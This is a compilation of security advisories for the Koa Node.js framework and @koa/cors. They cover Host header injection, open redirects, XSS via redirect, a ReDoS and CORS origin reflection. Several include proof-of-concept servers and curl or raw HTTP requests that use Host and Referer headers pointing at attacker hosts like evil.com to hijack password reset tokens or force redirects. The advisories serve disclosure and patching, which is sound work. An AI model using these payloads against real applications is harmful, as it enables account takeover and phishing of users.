Summary

Koa's ctx.hostname API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a @ symbol (e.g., evil.com:fake@legitimate.com) is received, ctx.hostname returns evil.com - an attacker-controlled value. Applications using ctx.hostname for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks.

Details

The vulnerability exists in Koa's hostname getter in lib/request.js:

javascript // Koa 2.16.1 - lib/request.js get hostname() { const host = this.host; if (!host) return ''; if ('[' === host[0]) return this.URL.hostname || ''; // IPv6 literal return host.split(':', 1)[0]; }

The host getter retrieves the raw header value with HTTP/2 and proxy support:

javascript // Koa 2.16.1 - lib/request.js get host() { const proxy = this.app.proxy; let host = proxy && this.get('X-Forwarded-Host'); if (!host) { if (this.req.httpVersionMajor >= 2) host = this.get(':authority'); if (!host) host = this.get('Host'); } if (!host) return ''; return host.split(',')[0].trim(); }

The Problem

The parsing logic simply splits on the first : and returns the first segment. There is no validation that the resulting string is a valid hostname per RFC 3986 Section 3.2.2.

RFC 3986 Section 3.2.2 defines the host component as:

host = IP-literal / IPv4address / reg-name reg-name = ( unreserved / pct-encoded / sub-delims ) unreserved = ALPHA / DIGIT / "-" / "." / "" / "~" sub-delims = "!" / "$" / "&" / "'" / "(" / ")" / "" / "+" / "," / ";" / "="

The @ character is explicitly NOT permitted in the host component - it is the delimiter separating userinfo from host in the authority component.

Attack Vector

When an attacker sends:

Host: evil.com:fake@legitimate.com:3000

Koa parses this as:

| API | Returns | Notes | |-----|---------|-------| | ctx.get('Host') | "evil.com:fake@legitimate.com:3000" | Raw header | | ctx.hostname | "evil.com" | Attacker-controlled | | ctx.host | "evil.com:fake@legitimate.com:3000" | Raw header value | | ctx.origin | "http://evil.com:fake@legitimate.com:3000" | Protocol + malformed host |

The ctx.hostname API returns evil.com because the parser splits on the first : without understanding that evil.com:fake@legitimate.com is a malformed authority component where evil.com:fake would be interpreted as userinfo by a proper URI parser.

Additional Concern: ctx.origin

Koa's ctx.origin property concatenates protocol and host without validation:

javascript // lib/request.js get origin() { return ${this.protocol}://${this.host}; }

Applications using ctx.origin for URL generation receive the full malformed Host header value, creating URLs with embedded credentials that browsers may interpret as userinfo.

HTTP/2 Consideration

Koa explicitly checks httpVersionMajor >= 2 to read the :authority pseudo-header:

javascript if (this.req.httpVersionMajor >= 2) host = this.get(':authority');

The same vulnerability applies - malformed :authority values containing userinfo would be accepted and parsed identically.

PoC

Setup

javascript // server.js const Koa = require('koa'); const app = new Koa();

// Simulates password reset URL generation (common vulnerable pattern) app.use(async ctx => { if (ctx.path === '/forgot-password') { const resetToken = 'abc123securtoken'; const resetUrl = ${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken}; ctx.body = { message: 'Password reset link generated', resetUrl: resetUrl, debug: { rawHost: ctx.get('Host'), parsedHostname: ctx.hostname, origin: ctx.origin, protocol: ctx.protocol } }; } });

app.listen(3000, () => console.log('Server on http://localhost:3000'));

Exploit

bash curl -H "Host: evil.com:fake@localhost:3000" http://localhost:3000/forgot-password

Result

json { "message": "Password reset link generated", "resetUrl": "http://evil.com/reset?token=abc123securtoken", "debug": { "rawHost": "evil.com:fake@localhost:3000", "parsedHostname": "evil.com", "origin": "http://evil.com:fake@localhost:3000", "protocol": "http" } }

The password reset URL points to evil.com instead of the legitimate server. In a real attack:

1. Attacker requests password reset for victim's email with malicious Host header 2. Server generates reset link using ctx.hostname → https://evil.com/reset?token=SECRET 3. Victim receives email with poisoned link 4. Victim clicks link, token is sent to attacker's server 5. Attacker uses token to reset victim's password

Additional Test Cases

bash Basic injection curl -H "Host: evil.com:x@legitimate.com" http://localhost:3000/forgot-password Result: hostname = "evil.com"

With port preservation attempt curl -H "Host: evil.com:443@legitimate.com:3000" http://localhost:3000/forgot-password Result: hostname = "evil.com"

Unicode/encoded variations curl -H "Host: evil.com:x%40legitimate.com" http://localhost:3000/forgot-password Result: hostname = "evil.com"

Deployment Consideration

For this attack to succeed in production, the malicious Host header must reach the Koa application. This occurs when:

1. No reverse proxy - Application directly exposed to internet 2. Misconfigured proxy - Proxy doesn't override/validate Host header 3. Proxy trust enabled (app.proxy = true) - X-Forwarded-Host can be injected 4. Default virtual host - Server is the catch-all for unrecognized Host headers

Impact

Vulnerability Type

- CWE-20: Improper Input Validation - CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

Attack Scenarios

1. Password Reset Poisoning (High Severity) - Attacker hijacks password reset tokens by poisoning reset URLs - Requires victim to click link in email - Results in account takeover

2. Email Verification Bypass - Attacker poisons email verification links - Can verify attacker-controlled email on victim accounts

3. OAuth/SSO Callback Manipulation - Applications using ctx.hostname for OAuth redirect URIs - Attacker redirects OAuth callbacks to malicious server - Results in token theft

4. Web Cache Poisoning - If responses are cached without Host in cache key - Poisoned URLs served to all users - Persistent XSS/phishing via cached responses

5. Server-Side Request Forgery (SSRF) - Internal routing decisions based on ctx.hostname - Attacker manipulates which backend receives requests

Who Is Impacted

- Direct impact: Any Koa application using ctx.hostname or ctx.origin for URL generation without additional validation - Common patterns: Password reset, email verification, webhook URL generation, multi-tenant routing, OAuth implementations

Summary:

A bypass was discovered in the Koa.js framework affecting its back redirect functionality. In certain circumstances, an attacker can manipulate the Referer header to force a user’s browser to navigate to an external, potentially malicious website. This occurs because the implementation incorrectly treats some specially crafted URLs as safe relative paths. Exploiting this vulnerability could allow attackers to perform phishing, social engineering, or other redirect-based attacks on users of affected applications.

This vulnerability affects the code referenced in GitHub Advisory GHSA-jgmv-j7ww-jx2x (which is tracked as CVE‑2025‑54420).

Details: The patched code attempts to treat values that startWith('/') as safe relative paths and only perform origin checks for absolute URLs. However, protocol‑relative URLs (those beginning with //host) also start with '/' and therefore match the startsWith('/') branch. A protocol‑relative referrer such as //evil.com with trailing double-slash is treated by the implementation as a safe relative path, but browsers interpret Location: //evil.com as a redirect to https://evil.com (or http:// based on context). This discrepancy allows an attacker to supply Referer: //evil.com and trigger an external redirect - bypassing the intended same‑origin protection.

Proof of concept (PoC): Affected line of code: https://github.com/koajs/koa/blob/master/lib/response.js#L326 The problematic logic looks like:

<img width="567" height="509" alt="3" src="https://github.com/user-attachments/assets/33de440a-8945-4e5f-9e0a-2011a3999458" />

Request with a protocol‑relative Referer: curl -i -H "Referer: //haymiz.dev" http://127.0.0.1:3000/test

<img width="2072" height="1005" alt="1" src="https://github.com/user-attachments/assets/55c48c79-559d-46aa-8b76-c1d2d3536c8b" />

Vulnerable response will contain: HTTP/1.1 302 Found Location: //haymiz.dev

A browser receiving that Location header navigates to https://haymiz.dev (or http:// depending on context), resulting in an open redirect to an attacker‑controlled host:

<img width="454" height="239" alt="2" src="https://github.com/user-attachments/assets/852ae81a-9f63-49c1-9ce5-72cd96bcea68" />

Recommendation / Patch: Do not treat //host as a safe relative path. Explicitly exclude protocol‑relative values from any relative‑path branch. Normalize the Referer by resolving it with a base (e.g., new URL(rawRef, ctx.href)), then compare resolved.origin (scheme+host+port) to ctx.origin (or ctx.host plus scheme/port) before allowing the redirect.

Impact: An attacker who can cause a victim to visit a specially crafted link (or inject a request with a controlled Referer) can cause the victim to be redirected to an attacker‑controlled domain. This can be used for phishing, social engineering, or to bypass some protection rules that rely on same‑origin navigation.

Summary In the latest version of Koa, the back method used for redirect operations adopts an insecure implementation, which uses the user-controllable referrer header as the redirect target.

Details on the API document https://www.koajs.net/api/response#responseredirecturl-alt, we can see:

response.redirect(url, [alt]) Performs a [302] redirect to url. The string "back" is specially provided for Referrer support, using alt or "/" when Referrer does not exist.

ctx.redirect('back'); ctx.redirect('back', '/index.html'); ctx.redirect('/login'); ctx.redirect('http://google.com');

however, the "back" method is insecure:

- https://github.com/koajs/koa/blob/master/lib/response.js#L322 back (alt) { const url = this.ctx.get('Referrer') || alt || '/' this.redirect(url) }, Referrer Header is User-Controlled.

PoC

there is a demo for POC: const Koa = require('koa') const serve = require('koa-static') const Router = require('@koa/router') const path = require('path')

const app = new Koa() const router = new Router()

// Serve static files from the public directory app.use(serve(path.join(dirname, 'public')))

// Define routes router.get('/test', ctx => { ctx.redirect('back', '/index1.html') })

router.get('/test2', ctx => { ctx.redirect('back') })

router.get('/', ctx => { ctx.body = 'Welcome to the home page! Try accessing /test, /test2' })

app.use(router.routes()) app.use(router.allowedMethods())

const port = 3000 app.listen(port, () => { console.log(Server running at http://localhost:${port}) }) Proof Of Concept GET /test HTTP/1.1 Host: 127.0.0.1:3000 Referer: http://www.baidu.com Connection: close

GET /test2 HTTP/1.1 Host: 127.0.0.1:3000 Referer: http://www.baidu.com Connection: close !image

!image

Impact https://learn.snyk.io/lesson/open-redirect/

Summary In koa < 2.16.1 and < 3.0.0-alpha.5, passing untrusted user input to ctx.redirect() even after sanitizing it, may execute javascript code on the user who use the app.

Patches This issue is patched in 2.16.1 and 3.0.0-alpha.5.

PoC Coming soon...

Impact 1. Redirect user to another phishing site 2. Make request to another endpoint of the application based on user's cookie 3. Steal user's cookie

Summary Koa uses an evil regex to parse the X-Forwarded-Proto and X-Forwarded-Host HTTP headers. This can be exploited to carry out a Denial-of-Service attack.

PoC

Coming soon.

Impact This is a Regex Denial-of-Service attack and causes memory exhaustion. The regex should be improved and empty values should not be allowed.

@koa/cors npm provides Cross-Origin Resource Sharing (CORS) for koa, a web framework for Node.js. Prior to version 5.0.0, the middleware operates in a way that if an allowed origin is not provided, it will return an Access-Control-Allow-Origin header with the value of the origin from the request. This behavior completely disables one of the most crucial elements of browsers - the Same Origin Policy (SOP), this could cause a very serious security threat to the users of this middleware. If such behavior is expected, for instance, when middleware is used exclusively for prototypes and not for production applications, it should be heavily emphasized in the documentation along with an indication of the risks associated with such behavior, as many users may not be aware of it. Version 5.0.0 fixes this vulnerability.